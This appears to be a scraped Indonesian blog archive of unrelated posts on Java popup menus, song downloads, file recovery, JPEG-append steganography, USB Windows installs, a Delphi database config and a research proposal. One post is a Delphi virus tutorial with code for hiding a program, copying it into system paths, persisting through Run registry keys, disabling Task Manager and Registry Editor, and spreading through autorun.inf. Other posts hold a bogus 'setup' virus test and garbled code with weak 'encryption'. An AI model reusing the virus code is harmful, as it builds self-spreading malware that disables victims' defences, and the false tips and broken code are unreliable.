Popup menu merupakan menu yang akan ditampilkan saat kita melakukan klik kanan di window. Program berikut ini merupakan contoh program membuat popup menu di Java. Class yang digunakan adalah JPopupMenu.
Berikut ini tampilan programnya:
contoh-program-menu-popup-java

Berikut ini source code programnya:
01import java.awt.*;
02import java.awt.event.*;
03import javax.swing.*;
04 
05public class PopupMenuTest extends JFrame {
06    private JRadioButtonMenuItem items[];
07    private final Color colorValues[] = {Color.BLUE, Color.YELLOW, Color.RED};
08    private JPopupMenu popMenu;
09 
10    public PopupMenuTest() {
11        super ("Menu Popup");
12 
13        ItemHandler handler = new ItemHandler();
14        String colorNames[] = {"Biru", "Kuning", "Merah"};
15 
16        ButtonGroup colorGroup = new ButtonGroup();
17        popMenu = new JPopupMenu();
18        items = new JRadioButtonMenuItem [colorValues.length];
19 
20        for (int i = 0; i < items.length; i++) {
21            items[i] = new JRadioButtonMenuItem (colorNames[i]);
22            popMenu.add (items[i]);
23            colorGroup.add (items[i]);
24            items[i].addActionListener(handler);
25           }
26 
27        getContentPane().setBackground(Color.WHITE);
28 
29        addMouseListener(
30            new MouseAdapter() {
31                public void mousePressed (MouseEvent e) {
32                    showPopupMenu (e);
33                }
34 
35                public void mouseReleased (MouseEvent e) {
36                    showPopupMenu (e);
37                }
38 
39                private void showPopupMenu(MouseEvent e) {
40                    if (e.isPopupTrigger())
41                        popMenu.show(e.getComponent(), e.getX(), e.getY());
42                }
43            } //end of anonymous class
44        ); //end of addMouseListener
45 
46        setSize (400,300);
47        setLocationRelativeTo (null);
48        setVisible (true);
49    }
50 
51    public static void main (String args[]) {
52        JFrame.setDefaultLookAndFeelDecorated(true);
53        PopupMenuTest test = new PopupMenuTest();
54        test.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
55    }  
56 
57    private class ItemHandler implements ActionListener {
58        public void actionPerformed (ActionEvent e) {
59            //
60            for (int i = 0; i < items.length; i++) {
61                if (e.getSource() == items[i]) {
62                    getContentPane().setBackground (colorValues[i]);
63                    return;
64                }
65            }
66        }
67    }
68}
Semoga bermanfaat.

Lagu Daerah Bengkulu Selatan

http://www.ziddu.com/download/17765598/PantaiPasarBawah.mp3.html
http://www.ziddu.com/download/17770609/Ading.mp3.html
http://www.ziddu.com/download/17770638/BatinLingiran.mp3.html
http://www.ziddu.com/download/17770712/BeghasKedurang.mp3.html
http://www.ziddu.com/download/17765528/MutighKupi.mp3.html
http://www.ziddu.com/download/17765460/KasiahSayang.mp3.html
http://www.ziddu.com/download/17765364/KemaneAgi.mp3.html
http://www.ziddu.com/download/17765259/KebilauBaliak.mp3.html
http://www.ziddu.com/download/17765180/KedurangBadakuDillahirka.mp3.html
http://www.ziddu.com/download/17764830/TukangKundai.mp3.html
http://www.ziddu.com/download/17764761/SukatanMatau.mp3.html
http://www.ziddu.com/download/17764705/Sinjang.mp3.html
http://www.ziddu.com/download/17764641/Seginim.mp3.html
http://www.ziddu.com/download/17764579/sekundangsetungguan.mp3.html

sumber: Radio Artha FM Bengkulu Selatan

4 langkah Cek Virus Tanpa Antivirus


Berikut ini adalah cara melacak apakah komputer kita terkena virus atau tidak.

1. Buka command prompt dengan cara Start -> Run -> cmd.
Secara default, lokasi akan berada di C:\Documents and settings\nama_user, untuk itu anda harus pindah terlebih dahulu ke folder system32.

2. Ketikkan "cd c:\windows\system32" (tanpa tanda petik).
Tekan enter untuk masuk ke folder system32.

3. Ketik "setup" lalu tekan enter

4. Jika muncul tampilan gambar yang didalamnya ada peringatan "Please go to the Control Panel to install and configure system components." Berarti komputer anda sehat dari virus, tetapi jika komputer anda malah hang atau restart itu berarti ada virus yang bersemayam di komputer anda.

Lantas bagaimana jika komputer terdeteksi ada virusnya? Coba baca dulu cara membasmi virus brontok , secara garis besar caranya hampir sama seperti itu. Agar pengetahuan tentang virus lebih mendalam silahkan baca juga artikel tentang karakteristik umum virus.

Dari 2 referensi artikel di atas, secara umum langkah mudah penanganan komputer yang terkena virus adalah dengan melakukan scanning system dengan antivirus update. Tapi yang perlu diingat sebelum melakukan scanning dengan antivirus ada baiknya matikan dulu system restore-nya dan akan lebih bagus lagi jika proses scanning berjalan di atas safe mode. 

Cara masuk ke safe mode->
1. Restart PC
2. Saat awal booting tekan tombol F8
3. Jika langkah nomer 3 benar, akan keluar menu pilihan untuk masuk ke safe mode. 
4. Pilih menu safe mode dan tekan enter untuk mengeksekusi
5. Tunggu hingga tampilan desktop muncul

Cara Mengembalikan File atau Folder yang Terhapus Permanen


Pernah gak temen2 secara kagak sengaja menghapus file atau folder penting secara permanen (shift+del)???coba bayangin kalau hal itu terjadi???
Tuiiiing…Tuiiiiinggg…pastiny apa lagi kalau itu file skripsweet kita (personal experience)cxixixi…serasa malaikat izrofil akan meniup sangkakala (kiamat red)…
Setelah menjelajahi bit-bit dunia maya yang tanpa batas akhirnya I can solve this problem….caranya bijimana???
WinUtilities Undelete….yups ni jawabannya


WinUtilities Undelete adalah tool recovery data yang dapat membantu kita mencari data yang terhapus secara permanen (shift+del) dan mengembalikannya ke tempat yang kita inginkan. Tool ini bisa juga untuk mengembalikan data dari storage eksternal (flashdisk) atau kartu memori kamera digital yang terformat.
Bijimana cara menggunakannya????



Cara menggunakan ini tool cukup mudah (user friendly dah). Setelah instalasi, buka aplikasinya dan klik drive dimana kita akan mencari file yang hilang di sisi sebelah kiri. Setelah tool tersebut melakukan scanning akan muncul semua file yang ada di drive tersebut beserta file-file yang sudah kita delete secara permanen. So..tinggal anda pilih file mana yang akan anda kembalikan dengan cara klik kanan file tersebut dan klik undelete.

download

Menyembunyikan file ke dalam gambar


Tutorial kali ini kita akan membahas teknik steganografi yaitu menyembunyikan sebuah file ke dalam file gambar. Teknik Steganografi ini kabarnya digunakan para teroris untuk saling berkomunikasi untuk merencanakan pengeboman gedung WTC. Dan uniknya lagi, teknik ini baru diketahui oleh FBI setelah beberapa tahun peristiwa pengeboman itu berlalu.

Sebenarnya teknik steganografi ini pernah saya posting pada tahun 2009 disini, tadi gak sengaja bongkar bongkar arsip di klikedukasi, eh ketemu lagi dengan teknik ini. Kenapa saya bahas lagi? Saya hanya ingin mencoba, apakah teknik ini masih bisa dilakukan dengan sistem operasi windows 7 atau gak. Setelah saya coba, ternyata masih bisa. Artikel ini juga sebagai penyempurna artikel sebelumnya, sebab pada tulisan yang dulu saya tidak menyertakan langkah langkahnya dengan panduan gambar. Mudah mudahan dengan adanya artikel lanjutan ini, bisa lebih mudah untuk dipahami.

Apaan tuh steganografi?



Menurut wikipedia Steganografi adalah seni dan ilmu menulis pesan tersembunyi atau menyembunyikan pesan dengan suatu cara sehingga selain si pengirim dan si penerima, tidak ada seorangpun yang mengetahui atau menyadari bahwa ada suatu pesan rahasia di dalamnya. lebih jelasnya bisa anda telusuri sendiri disini

Sederhananya steganografi merupakan teknik untuk menyembunyikan tulisan atau file ke dalam sebuah file. bingung yak?

Coba bandingkan kedua gambar ini, apakah ada perbedaannya?


Jika dilihat sepintas, kedua gambar tersebut sama persis, gak ada perbedaan sama sekali. Sekarang coba anda simpan kedua gambar tersebut ke komputer anda, kemudian bandingkan ukuran (size) kedua file gambar tersebut. Gambar sebelah kiri yang bernama klikedukasi.jpg berukuran 32,7 kb dan tidak saya manipulasi sedikitpun, sedangkan gambar sebelah kanan bernama hasil.jpg berukuran lebih besar dari gambar pertama yaitu 50,6 kb.

Anda bisa pastikan sendiri gambar di atas sama persis, yang membedakan hanya ukurannya. Kenapa bisa ukurannya berbeda? karena saya sudah menyisipkan satu buah file ke dalam gambar yang sebelah kanan.

Untuk membuktikannya gimana? Setelah anda simpan, coba anda klik kanan gambar yang bernama hasil.jpg kemudian open with winrar, atau bisa dengan cara merename nama hasil.jpg menjadi hasil.rar
Apa yang terjadi? anda akan melihat di dalam file tersebut ada file bernama logout.php. Nah loh keliatan kan ada file yang saya sisipkan. Oiya saya asumsikan di komputer anda sudah terinstall program winrar sebelumnya.

Trus bagaimana cara menyisipkan file ke dalam gambar tersebut? Sebenarnya sangat mudah, kita cukup menggunakan sedikit perintah yang ada di command prompt (CMD) windows.

Dalam uji coba kali ini saya hendak menyatukan file klikedukasi.jpg dengan file logout.php, nanti setelah disatukan akan menjadi file hasil.jpg seperti di atas.

Mari kita coba. ikuti step step berikut:

1. Buat folder bernama terserah anda, saya memberi nama folder ini steganografi letaknya di drive D:\>

2. Copy paste file gambar klikedukasi.jpg dan file php logout.php ke dalam folder tadi yang kita buat. Buatlah file steganografi.rar yang di dalamnya terdapat 2 buah file di atas. Biar lebih jelas saya kasih screenshot seperti di bawah.



3. Persiapan filenya sudah kita lakukan, kini saatnya masuk ke command prompt, buka cmd dengan cara tekan tombol window + R ketik cmd dan enter akan terbuka jendela command prompt seperti ilustrasi berikut
4. Masuk pada direktori tempat menyimpan folder steganografi tadi, saya menyimpannya di drive D, alamat lengkapnya seperti ini D:\steganografi.


:: Masuk terlebih dahulu ke drive D, kemudian pindah ke folder steganografi. Caranya ketik pada command prompt D: tekan enter
:: Kemudian pindah ke direktori steganografi dengan mengetik cd steganografi akhiri dengan enter

:: Kita sekarang telah berhasil masuk ke folder steganografi, ditandai dengan adanya tulisan D:\steganografi> di command prompt.

5. Nah sekarang saatnya kita memnyatukan dua file tadi. gimana caranya? ketik perintah berikut:
 copy /b klikedukasi.jpg+logout.php hasil.jpg 
 Akhiri dengan menekan tombol enter. Gambar di bawah ini menunjukkan perintah yang kita gunakan dari langkah nomer 4 tadi.



Daaaaaan coba cek di folder steganografi kita, jika anda berhasil maka akan ada file bernama hasil.jpg dalam folder tersebut
--- Selesai ---

Teknik di atas bisa juga anda gunakan untuk menyembunyikan banyak file dalam satu file gambar. Saya pernah membuat file sejenis ini yang di dalamnya berisi beberapa program dan beberapa folder, file gambar yang saya buat itu besarnya mencapai 76 MB.

Semoga membantu

Cara simpel Install windows 7 menggunakan flashdisk


Secara umum install windows tanpa cd/dvd atau cukup menggunakan flashdisk sudah saya jelaskan beberapa waktu yang lalu. Khusus untuk windows 7 ternyata ada cara yang cukup simple untuk melakukan instalasi melalui USB flashdisk. Yang kita butuhkan hanya flashdisk dengan kapasitas minimal 4gb dan master windows 7 saja, tanpa harus direpotkan dengan program program pendukung lain.

Cara yang akan saya jelaskan di sini hanya berlaku untuk windows 7, sedangkan windows xp membutuhkan persiapan yang lebih rumit dan memerlukan beberapa software pendukung, lebih jelasnya silahkan pelajari caranya di sini.


Berikut step step yang harus sobat klikedukasi ikuti
  1. Siapkan flashdisk yang berkapasitas 4GB, lebih dari itu lebih bagus senang
  2. Format terlebih dahulu flashdisk anda dengan format file system NTFS, lihat gambar 
  3. Siapkan dvd Instalasi windows 7, copy seluruh file yang ada pada master windows 7 ke flashdisk yang sudah kita siapkan tadi 
  4. Cari file BOOTMGR kemudian rubah namanya menjadi NTLDR. file bootmgr letaknya paling luar dalam master instalasi windows 7.
  5. Sekarang flashdisk anda sudah siap digunakan untuk melakukan install windows 7. 
  6. Oh iya jangan lupa untuk setting BIOS agar dapat booting pertama kali melalui flashdisk. untuk langkah langkahnya silahkan baca setting booting bios melalui flashdisk
Yah cukup simpel kan, intinya kita hanya perlu merename file bootmgr yang ada pada master win7 menjadi ntldr.

*Cara ini hanya berlaku untuk windows 7

Sekian, semoga bermanfaat, sampai jumpa pada tutorial klikedukasi selanjutnya mengerlingkan mata

Aplikasi Delphi Konek database layaknya php namun dengan Zeos, Mysql dan TIniFiles Ber Enkripsi


Begin Di dasari oleh kebutuhan membuat Aplikasi yang berhubungan dengan konfigurasi database, hal tersebut yang mendorongku untuk membuat Aplikasi ini. hitung hitung berbagi ilmu yang mudah-mudahan berguna. Oke, kadang dalam kebutuhan tertentu kita perlu menggunakan file config seperti biasanya kalo di membuat web dengan php biasanya ada saja file config.php yang berisi konfigurasi database serta user pada database bila diterapkan dalam Delphi tentunya bisa saja karena adanya Fasilitas yang diberikan oleh Delphi yaitu Class TIniFile. Tapi kan ga lucu bila file konfigurasi tersebut terbuka tanpa ekripsi, apalagi dalam case ini kita menggunakan Komponen Zeos sebagai jembatan akses ke dalam Database MySQL yang tentunya membutuhkan parameter server,user,password, database yah ceritanya untuk security Sederhana menggunakan file konfigurasi.
Di dasari oleh kebutuhan membuat Aplikasi yang berhubungan dengan konfigurasi database, hal tersebut yang mendorongku untuk membuat Aplikasi ini. hitung hitung berbagi ilmu yang mudah-mudahan berguna.
Oke, kadang dalam kebutuhan tertentu kita perlu menggunakan file config seperti biasanya kalo di membuat web dengan php biasanya ada saja file config.php yang berisi konfigurasi database serta user pada database bila diterapkan dalam Delphi tentunya bisa saja karena adanya Fasilitas yang diberikan oleh Delphi yaitu Class TIniFile. Tapi kan ga lucu bila file konfigurasi tersebut terbuka tanpa ekripsi, apalagi dalam case ini kita menggunakan Komponen Zeos sebagai jembatan akses ke dalam Database MySQL yang tentunya membutuhkan parameter server,user,password, database yah ceritanya untuk security Sederhana menggunakan file konfigurasi.

Algoritmanya begini
1. Baca file konfigurasi.ini
2. tentukan parameter yang dibutuhkan oleh ZeosConnection untuk melakukan koneksi database parameternya yaitu : user,host,database dan password MySQL nya
3. jika berhasil konekkan databasenya

Langsung saja Buka Delphi anda dalam dalam uji coba saya menggunakan Delphi 7 tentunya tidak begitu banyak perbedaan pada delphi dengan Delphi versi atasnya. Asumsinya di dalam
Delphi kita telah terinstall Komponen Zeos kalo ga ada yah download dulu di sini
1. Buat Aplikasi baru : File -> New -> Application;
2. Agar manajemen Komponen lebih rapi tambahkan lagi Modul : File -> New -> Data Modul;
3. Ubah nama Form1 menjadi FormKontak.
4. Simpan unit1.pas dengan nama unUtama.pas dan unit2.pas dengan nama unDM.pas
5. Di dalam coding unUtama tepatnya di bawah baris implementation tambahkan uses unDM ; seperti di bawah ini
var
FormKontak: TFormKontak;
implementation
uses unDM;
{$R *.dfm}
6. Letakan Komponen ini pada Data Modul
* ZConnection ada di Tab Zeos Acces -> ubah Nama=koneksi, protocol sesuaikan dengan Veris MySQL yg kita gunakan aku menggunakan MySQL 5 property yang lainnya biarkan apa adanya
* ZQuery ada di Tab Zeos Acces -> ubah Namanya Menjadi -> qryKontak karena query itu untuk menampilkan data Kontak (sebenarnya terserah saja masalah penamaan cari yg mudah saja), Ubah property Connection menjadi koneksi
* Data Source ada di Tab Data Acces -> Nama = DSKontak, isi property DataSet ke qryKontak

untuk menampilkan data kita membutuhkan DBGrid ada di Tab Data Control kemudian letakaan Komponen DBGrid di dalam FormKontak ubah nama DBGrid1 menjadi DBGridKontak isi DataSource dengan DM.DSKontak
Ups klo begitu untuk mengisi data file konfiguras perlu ada Decripsi dong tenang aja aku juga Sertakan File untuk Membuat file konfigurasi.ini maaf bila koding nya masih berhamburan sana sini tinggal dirapikan saja misalnya file unit untuk encripsi_dekripsi di pisah jadi mudah untuk digunakan kembali tinggal kreasi kita saja terus di buat cek database konfigurasi misalnya klo tidak bisa konek jangan buat file konfigurasi.ini sekali lagi contoh ini sangat simple dan banyak celah kelemahannya masih bisa dikembangkan menggunakan Algoritma md5 misalnya harapanku yang baca bisa lebih mengembangkannya kalo aku sendiri biasanya file nya bukan lagi file.ini tapi file binary yah namanya juga belajar.
Let’s go to code

code : pascal
  1. unit unUtama;
  2. interface
  3. uses
  4. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ZConnection, Grids, DBGrids;
  5. type
  6. TFormKontak = class(TForm)
  7. DBGridKontak: TDBGrid;
  8. procedure FormCreate(Sender: TObject);
  9. private
  10. { Private declarations }
  11. public
  12. { Public declarations }
  13. end;
  14. var
  15. FormKontak: TFormKontak;
  16. implementation
  17. uses unDM;
  18. {$R *.dfm}
  19. procedure TFormKontak.FormCreate(Sender: TObject);
  20. var sql:WideString ;
  21. begin
  22. sql:= 'SELECT c.id_kontak AS id,CONCAT(c.nm_depan," ",c.nm_belakang) '
  23. 'AS "Nama Lengkap",c.alamat AS Alamat,c.email AS Email,'
  24. 'b.nm_grup AS Grup FROM kontak c '
  25. 'INNER JOIN grup b ON b.id_grup=c.id_grup';
  26. DM.isiQry(DM.qryKontak,sql);
  27. end;
  28. end.
Parsed in 0.007 seconds, using GeSHi

//Unit file Data Modul

code : pascal
  1. unit unDM;
  2. interface
  3. uses
  4. SysUtils, Classes, DB, ZAbstractRODataset, ZAbstractDataset, ZDataset,
  5. ZConnection,IniFiles,Forms,Dialogs;
  6. type
  7. TDM = class(TDataModule)
  8. koneksi: TZConnection;
  9. qryKontak: TZQuery;
  10. DSKontak: TDataSource;
  11. function KonekDB(serv,usr,pass,db:string):Boolean;
  12. procedure DataModuleCreate(Sender: TObject);
  13. private
  14. flConfig:TIniFile;
  15. function Encrypt(const s: String; CryptInt: Integer): String;
  16. function Decrypt(const s: String; CryptInt: Integer): String;
  17. { Private declarations }
  18. public
  19. procedure isiQry(qry:TZQuery;SqlStr:string);
  20. { Public declarations }
  21. end;
  22. var
  23. DM: TDM;
  24. const
  25. c1 = 52845;
  26. c2 = 22719;
  27. implementation
  28. {$R *.dfm}
  29. function TDM.Encrypt(const s: String; CryptInt: Integer): String;
  30. var
  31. i: integer;
  32. s2: string;
  33. begin
  34. if not (Length(s) = 0) then
  35. for i := 1 to Length(s) do
  36. s2 := s2 Chr(Ord(s[i]) CrypTint);
  37. Result := s2;
  38. end;
  39. function TDM.Decrypt(const s: String; CryptInt: Integer): String;
  40. var
  41. i: integer;
  42. s2: string;
  43. begin
  44. if not (Length(s) = 0) then
  45. for i := 1 to Length(s) do
  46. s2 := s2 Chr(Ord(s[i]) - cryptint);
  47. Result := s2;
  48. end;
  49. function TDM.KonekDB(serv,usr,pass,db:string):Boolean;
  50. var alm:string;
  51. begin
  52. Result := True;
  53. alm:= ExtractFilePath(Application.ExeName);
  54. flConfig := TINIFile.Create(alm '\konfigurasi.ini');
  55. try
  56. with koneksi do
  57. begin
  58. HostName:= Decrypt(flConfig.ReadString('data','host',serv),72);
  59. User := Decrypt(flConfig.ReadString('data','user',usr),72);
  60. Password := Decrypt(flConfig.ReadString('data','pass',pass),72);
  61. Database := Decrypt(flConfig.ReadString('data','db',usr),72);;
  62. Connected;
  63. end;
  64. except
  65. Application.MessageBox('Gagal Melakukan Koneksi Database','Warning');
  66. end;
  67. end;
  68. procedure TDM.isiQry(qry:TZQuery;SqlStr:string);
  69. begin
  70. with qry do
  71. begin
  72. SQL.Clear;
  73. SQL.Text:=sqlSTR;
  74. Open;
  75. end;
  76. end;
  77. procedure TDM.DataModuleCreate(Sender: TObject);
  78. begin
  79. KonekDB('localhost','root','root','fendi_db');
  80. end;
  81. end.
Parsed in 0.022 seconds, using GeSHi
Maaf penjelasannya terlalu singkat karena memang di kerjakan secara singkat saja daripada di simpan di dalam uneg-uneg ngabisin space di kepalaku aja, jadi mending di bagi-bagikan ini link downloadnya di sini nitip di web orang ya

Tips dan Trik Membuat Virus dari Delphi


Begin
Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Dan saya memuat artikel ini bukan untuk merusak, tetapi agar kita semua bisa mengetahui bagaimana virus itu beraksi, jadi kita bisa menghalangi virus yg masuk ke pc kita. Kalo setuju silakan lanjut.

Topik ini mungkin sebenarnya udah basi, tapi kenyataanya masih banyak orang yang menghubungi aku untuk nanya-nanya soal programming virus. Karena itu, pada tutorial ini aku memutuskan untuk menjelaskan dasar-dasar pemrograman virus dengan Delphi. Tapi ingat, segala kerusakan dan kehilangan data karena artikel ini diluar tanggung jawabku sebagai penulis. OK ? Dan saya memuat artikel ini bukan untuk merusak, tetapi agar kita semua bisa mengetahui bagaimana virus itu beraksi, jadi kita bisa menghalangi virus yg masuk ke pc kita. Kalo setuju silakan lanjut.

Tingkat kerusakan yang ditimbulkan virus sangat bervariasi tergantung kreatifitas sang penulis virus. Hal-hal yang biasanya dilakukan oleh virus (terutama virus lokal) antara lain:
  • Menyembunyikan dirinya, artinya aplikasi akan berjalan tanpa sepengetahuan user
  • Meng-copy dirinya ke direktori sistem
  • Membuat dirinya otomatis dijalankan pada saat startup Windows
  • Mendisable fungsi-fungsi Windows tertentu seperti Task Manager, Registry Editor, dll
  • Men-copy dirinya ke media removable semacam flashdisk
  • Fungsi-fungsi lain seperti memunculkan pesan, menulis file tertentu, mengubah tulisan Start", dll.
  • Sekarang kita akan membahasnya satu-persatu. Peralatan yang dibutuhkan: Yang udah pasti, Delphi Kesabaran, ketelitian, mata yang sanggup memandang layar komputer berjam-jam Album Yovie & Nuno dan segelas teh panas ;) Attack #1 - Menyembunyikan diri Kayaknya ini yang paling gampang deh, cukup ketikkan code berikut pada event form create: Application.ShowMainForm := False; Attack #2 - Men-copy diri ke sistem Sebenarnya gak harus ke direktori sistem sih, ini kan cuma untuk contoh aja. Langsung aja kerikkan code ini: CopyFile(PChar(Application.ExeName), 'C:\MyVirus.exe', False); Attack #3 - Startup otomatis Windows akan menjalankan program/script yang diletakkan pada:
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
    • HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    • HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
    • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
    • HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    • HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
    • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
    • C:\Documents and Settings\[username]\Start Menu\Programs\Startup
    • Mo pilih yang mana ? Terserah. Untuk contoh kali ini, aku akan memilih registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Untuk itu, ketikkan code dbawah untuk mengakses registry dan membuat string value di path yg kusebutin diatas.
      code : pascal
      1. uses
      2. Registry;
      3. var
      4. Reg : TRegistry;
      5. begin
      6. Reg := TRegistry.Create;
      7. Reg.RootKey := HKEY_CURRENT_USER;
      8. Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Run', True);
      9. Reg.WriteString('MyVirus', 'C:\MyVirus.exe');
      10. Reg.CloseKey;
      Parsed in 0.003 seconds, using GeSHi
      Attack #4 - Disable tools bawaan Windows Ada banyak tools bawaan Windows yang bisa dipakai untuk melawan malware, karena terlalu banyak, aku cuma akan menjelaskan gimana cara blokir Registry Editor dan Task Manager. Yang lainnya kembangkan sendiri yach...!
      code : pascal
      1. uses
      2. Registry;
      3. var
      4. Reg : TRegistry;
      5. begin
      6. Reg := TRegistry.Create;
      7. Reg.RootKey := HKEY_CURRENT_USER;
      8. Reg.OpenKey('HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System',
      9. True);
      10. Reg.WriteInteger('DisableTaskMgr', 1); //disable Task Manager
      11. Reg.WriteInteger('DisableRegistryTools', 1); //disable Registry Editor
      12. Reg.CloseKey;
      Parsed in 0.003 seconds, using GeSHi
      Attack #5 - Menyebarkan diri ke flashdisk Kebanyakan virus menyebar karena flashdisk yang dicolokin ke komputer yang telah terinfeksi. Biasanya virus tsersebut tidak lupa untuk membuat file autorun.inf agar virus tersebut otomatis dieksekusi pas dicolokin ke koputer lain. Dan demi kesederhanaan agar mudah dipahami, aku hanya akan mencontohkan proses penyebaran ke drive G:\
      code : pascal
      1. "MsoNormal">var
      2. Atr : TextFile;
      3. begin
      4. if FileExists('G:\autorun.inf')= False and
      5. FileExists('G:\MyVirus.exe') = False then
      6. begin
      7. //virus belum men-copy dirinya, copy...
      8. CopyFile(PChar(Application.ExeName), 'G:\MyVirus.exe', False);
      9. //tulis file autorun.inf
      10. AssignFile(Atr, 'G:\autorun.inf');
      11. ReWrite(Atr);
      12. WriteLn(Atr, '[autorun]');
      13. WriteLn(Atr, 'open=MyVirus.exe');
      14. CloseFile(Atr);
      15. end;
      16. end;
      Parsed in 0.005 seconds, using GeSHi
      Akan lebih baik lagi kalo code diatas dieksekusi secara periodik oleh timer. Silakan kembangkan sendiri attack-attack lainnya seperti memunculkan pesan, menulis file-file aneh, dll. Semoga setelah melihat sekilas alur penyebaran virus kita jadi lebih tau trik-trik untuk melindungi komputer kita tanpa antivirus. Semoga bermanfaat.

BERIKUT INI CONTOH PROPOSAL PENELITIAN ILMIAH


A. JUDUL PENELITIAN
Pengaruh Suku Bunga dan Nilai Tukar Rupiah Terhadap Pemberian Kredit Untuk Nasabah Bank Mandiri

B. PENDAHULUAN
Latar Belakang Masalah

Hancurnya industri keuangan global yang dipicu oleh naiknya harga minyak serta pangan dan semakin diperparah dengan terjadinya krisis keungn di Amerika Serikat telah mengakibatkan melambatnya pertumbuhan ekonomi global.

Dampak dari krisis di Amerika Serikat yang berdampak pada peningkatan inflasi di beberapa negara serta diikuti dengan kenaikan suku bunga dan nilai tukar mata uang setempat. Hal ini terjadi karena sistem keuangan suatu negara tidak bisa berdiri sendiri.Selallu terkait dengan sistem keuangan pada negara lain secara global. Hal ini lah yang mendorong penulis untuk melkukan penelitian mengenai fenomena yang sedang terjadi tersebut melalui penelitian ilmiah yang berjudul "Pengaruh Suku Bunga dan Nilai Tukar Rupiah Terhadap Pemberian Kredit Untuk Nasabah Bank Mandiri"

Pada tahun 2008, Bank Indonesia pernah melakukan penelitian terhadap dampak empiris inflasi terhadap pertumbuhan dan kualitas kredit perbankan di Indonesia. Hasil dafri penelitian menunjukkan bahwa secara signifikan inflasi mempengaruhi pertumbuhan dan kualitas kredit.

Perumusan Masalah
Dalam penelitian ilmiah ini, penulis akan mencoba merumuskan persoalan dalam bentuk beberapa pertanyaan sebagai berikut :
Bagaimana pengaruh nilai tukar Rupiah terhadap USD, GBP, dan JPY terhadap pemberian kredit di bank Mandiri?
Bagaimana pengaruh suku bunga di Indonesia, Amerika, Inggris, dan Jepang terhadap pemberian kredit di bank Mandiri?

Tujuan Penelitian
Penelitian ilmiah ini bertujuan untuk :
Mengetahui dan menganalisis pengaruh nilai tukar Rupiah terhadap USD, GBP, dan JPY terhadap pemberian kredit di bank Mandiri?
Mengetahui dan menganalisis pengaruh suku bunga di Indonesia, Amerika, Inggris, dan Jepang terhadap pemberian kredit di bank Mandiri?


Kegunaan Penelitian
Penelitian ilmiah yang akan dilakukan penulis ini mudah-mudahan dapat bermanfaat bagi penulis sendiri maupun pihak-pihak lain yang berkepentingan.
1. Manfaat akademis
Penelitian yang sangat berhubungan dengan manajemen dana bank, manajemen perkreditan, serta keuangan internasional diharapkan dapat lebih dipahami oleh pihak yang berkepentingan
2. manfaat dalam implementasi
Penelitian ini difokuskan pada bank Mandiri sebagai objek penelitian sehingga diharapkan hasil penelitian ini dapat digunakan sebagai pertimbangan dalam pengambilan kebijakan dan keputusan.

Batasan Masalah
Untuk menghindari melebarnya topik yang akan diteliti, maka penulis membatasi permasalahan yang akan diteliti sebagai berikut :
1.   Penelitian hanya akan menggunakan aktiva pada bank Mandiri
2. Aktiva sutu bank terdiri dari banyak pos, dan penulis hanya membatasi untuk menggunakan pos-pos  yang sesuai dengan skala prioritas penggunaan dana, yaitu :
kredit untuk nasabah; terdiri dari kredit yang diberikan
investasi untuk pendapatan; terdiri dari penyertaan.
3. Dalam penelitian ini penulis hanya membatasi penggunaan data suku bunga, inflasi, serta kurs Rupiah terhadap negara Amerika, Inggris, dan jepang
4. Alat bantu yang digunakan untuk menganalisa data statistik agar dapat diolah, ditampilkan, dan dimanipulasi sehingga dapat menyajikan suatu informasi dalam penelitian ini menggunakan software SPSS


C. TINJAUAN PUSTAKA
Neraca Bank
Menurut Soedijono pada kuliah Institusi Depositori dan Pasar Modal, Neraca sebuah bank dapat dibagi menjadi dua bagian, yaitu aktiva dan pasiva. Selanjutnya pasive sebuah bank terdiri dari utang dan modal.

Inflasi
menurut www.Organisasi.org , inflasi adalah suatu keadaan dimana harga barang secara umum mengalami kenaikn dan berlangsung dalam waktu yang lama dan terus menerus

Suku Bunga
menurut John Maynard keynes, bahwa suku bunga ditentukan oleh penawaran dan permintaan terhadap uang.


D. PERUMUSAN HIPOTESA
Hipotesa yang akan dicoba untuk dirumuskan berdasarkan kerangka pemikiran diatas adalah :
H01: Tidak ada pengaruh nilai tukar rupiah terhadap USD, GBP, dan JPY terhadap pemberian kredit untuk nasabah bank Mandiri
H02: Tidak ada pengaruh suku bunga Indonesia , Amerika, Inggris, dan Jepang terhadap pemberian kredit untuk nasabah bank mandiri.


E. METODOLOGI PENELITIAN
Data Penelitian
1. Sumber data
data diperoleh dari Laporan tahunan Bank Indonesia dan Laporan keuangan Publikasi Triwulan Neraca PT. Bank Mandiri (Persero), Tbk
2. jenis Data
a. ativa bank mandiri
aktiva bank mandiri yang terdiri dari :
kredit untuk nasabah, terdiri dari kredit yang diberikan
investasi untuk pendapatan, terdiri dari penyertaan.
b. kurs Rupiah terhadap USD, GBP, dan JPY
c. Suku bunga inflasi di Indonesia, Amerika, Inggris, dan jepang
3. Tipe Data
data yang diteliti adalah data sekunder yang diterbitkan oleh bank Indonesia dalam bentuk buletin

Objek Penelitian
Objek penelitian adalah bank Mandiri

Periode Penelitian
data yang digunakan merupakan data triwulan dari triwulan IV 2000 sampai dengan triwulan II 2008

